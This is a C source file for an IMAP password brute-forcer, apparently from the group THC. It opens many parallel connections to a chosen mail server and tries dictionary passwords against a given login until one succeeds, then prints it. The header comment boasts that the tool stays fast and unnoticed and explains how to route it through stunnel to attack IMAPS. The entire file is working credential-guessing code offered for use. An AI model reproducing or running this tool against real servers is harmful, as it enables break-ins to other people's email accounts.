/*
 * IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
 * I had this one running with 30 passwords / second (100 parallel connections)
 * against a single server and it did not even appear in top.
 *
 * Visit us -- your enemies already did.
 * http://www.thc.org - THE HACKERS CHOICE
 *
 * gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
 *
 * SSL support for dummies:
 * stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
 *
 * Example: (Brute 40 in parallel)
 * ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
 */
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>

struct peer_str
{
	char password[64];
	char buf[256];
	int sox;
	int read;
	char flags;
	time_t time;
};

#define FL_CONNECTED		(0x01)
#define FL_HEADERREAD		(0x02)

#define ERREXIT(a...)	do { \
	fprintf(stderr, "%s:%d ", __func__, __LINE__); \
	fprintf(stderr, a); \
	exit(-1); \
} while (0)

static char g_flags;
#define FL_FINISHED		(0x04) /* wordlist finished */
static unsigned short g_port;
static unsigned int g_ip;
static char *g_login;
static unsigned int g_parallel;
time_t time_now;
static fd_set g_rfds, g_wfds;
static unsigned int cracks;
static char *g_passwd;
static int n_peers;

struct peer_str peers[1024];
	
static unsigned int
hostname(char *host)
{
	struct hostent *he;
	int ip;

	if ( (ip = inet_addr(host)) != -1)
		return ip;
	if ( (he = gethostbyname(host)) == NULL)
		return -1;

	if (he->h_length != 4)
		return -1;
	return *(int *)he->h_addr;
}

int tcp_socket_connect(unsigned int ip, unsigned short port)
{
	int fd;
	struct sockaddr_in addr;
	int i;

	if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		return -1;

	memset(&addr, 0, sizeof addr);
	addr.sin_family = PF_INET;
	addr.sin_addr.s_addr = ip;
	addr.sin_port = port;

	if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
	{
		close(fd);
		return -1;
	}
	i = i;
	setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
	fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);

	return fd;
}

static void
usage(void)
{
	fprintf(stderr, ""
"imap-bruter [rlpn]\n"
"Options:\n"
"  -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
"  -p <port>       - Port imapd runs on. [default: 143]\n"
"  -l <login name> - Login name\n"
"  -n <parallel>   - Number of parallel connections.\n"
"Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
"");
	exit(0);
}

static void
do_getopt(int argc, char *argv[])
{
	int c;

	g_port = 143;
	g_parallel = 5;

	while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
	{
		switch (c)
		{
		case 'r':
			g_ip = hostname(optarg);
			break;
		case 'l':
			g_login = strdup(optarg);
			break;
		case 'p':
			g_port = atoi(optarg);
			break;
		case 'n':
			g_parallel = atoi(optarg);
			break;
		default:
			usage();
			break;
		}
	}

	if (g_ip == -1)
	{
		fprintf(stderr, "Unknown host!\n");
		usage();
	}
	if (!g_login)
		usage();
	if (g_parallel <= 0)
		usage();
}

static void
peer_clear(struct peer_str *p)
{
	if (p->sox >= 0)
		close(p->sox);
	p->sox = -1;
	p->read = 0;
	p->flags = 0;
	/* Keep 'password' as it has not yet been processed */
	n_peers--;
}

static int
do_readpwd(struct peer_str *p)
{
	char *ptr;

	if (g_flags & FL_FINISHED)
		return -1;
	cracks++;
	memset(p->password, 0, sizeof p->password);
	if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
		return -1;

	g_passwd = p->password;
	ptr = strchr(p->password, '\n');
	if (ptr)
		*ptr = '\0';

	return 0;
}

/*
 * Socket ready for reading. Read line.
 */
void
do_read(struct peer_str *p)
{
	ssize_t n;
	char *ptr;
	char buf[1024];

	n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
	if (n <= 0)
		goto err;
	p->read += n;

	if (p->read + 1 >= sizeof p->buf)
		goto err;
	p->buf[p->read] = '\0';
	ptr = strchr(p->buf, '\n');
	if (!ptr)
		return;
	p->time = time_now;
	if (p->flags & FL_HEADERREAD)
	{
		if (strstr(p->buf, " NO") == NULL)
		{
			printf("FOUND '%s'\n", p->password);
			exit(0);
		}
		if (do_readpwd(p) != 0)
		{
			g_flags |= FL_FINISHED;
			goto err;
		}
	} else {
		p->flags |= FL_HEADERREAD;
		if (p->password[0] == '\0')
		{
			if (do_readpwd(p) != 0)
			{
				g_flags |= FL_FINISHED;
				goto err;
			}
		}
	}

	snprintf(buf, sizeof buf, "1 login \"%.100s\" \"%.100s\"\r\n", g_login, p->password);
	n = strlen(buf);
	if (write(p->sox, buf, n) != n)
	{
		/* Write should not fail. Linux kernel always has 1024 write
		 * buffer for us.
		 */
		 goto err;
	}

	return;
err:
	peer_clear(p);
}

static void
peer_init(struct peer_str *p)
{
	p->sox = -1;
	p->read = 0;
}

int
main(int argc, char *argv[])
{
	struct timeval tv;
	int conn;
	int maxfd;
	struct peer_str *p;
	int i, n;
	int ret;
	socklen_t len;
	time_t time_last, time_start;
	unsigned int hours, min, sec;
	unsigned int old_cracks = 0;
	double cs;

	g_passwd = "<waiting...>";
	do_getopt(argc, argv);
	time_now = time(NULL);
	time_start = time_now;
	time_last = time_now;
	printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
	for (i = 0; i < g_parallel; i++)
		peer_init(&peers[i]);

	while (1)
	{
		tv.tv_sec = 1;
		tv.tv_usec = 0;
		FD_ZERO(&g_rfds);
		FD_ZERO(&g_wfds);
		conn = 0;
		maxfd = 0;
		for (i = 0; i < g_parallel; i++)
		{
			if (peers[i].sox >= 0)
			{
				if (peers[i].flags & FL_CONNECTED)
					FD_SET(peers[i].sox, &g_rfds);
				else
					FD_SET(peers[i].sox, &g_wfds);
			} else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
				peers[i].time = time_now;
				peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
				if (peers[i].sox >= 0)
					FD_SET(peers[i].sox, &g_wfds);
				conn++;
			}
			if (peers[i].sox > maxfd)
				maxfd = peers[i].sox;
		}
		if (maxfd == 0)
		{
			fprintf(stderr, "Finished %u cracks after %lu sec.\n", cracks, time_now - time_start);
			exit(0);
		}
		n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
		time_now = time(NULL);
		if ((time_last < time_now) && (old_cracks != cracks))
		{
			sec = time_now - time_start;
			hours = sec / 3600;
			min = (sec - hours * 3600) / 60;
			sec = sec % 60;
			cs = ((float)cracks) / ((float)(time_now - time_start));
			fprintf(stderr, "[%u:%02u:%02u] total: %d with %d peers: '%s' (%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
			time_last = time_now;
			old_cracks = cracks;
		}

		for (i = 0; i < g_parallel; i++)
		{
			p = &peers[i];
			if (p->sox < 0)
				continue;

			if (p->time + 30 < time_now)
			{
				fprintf(stderr, "TIMEOUT on socket...\n");
				peer_clear(p);
				continue;
			}

			if (FD_ISSET(p->sox, &g_wfds))
			{
				len = sizeof ret;
				ret = 0;
				if ((getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &ret, &len) != 0) || (ret != 0))
					peer_clear(p);
				else {
					p->flags |= FL_CONNECTED;
					n_peers++;
				}

			} else if (FD_ISSET(p->sox, &g_rfds)) {
				do_read(p);
			}
		} /* for through all peers.. */
	}
}


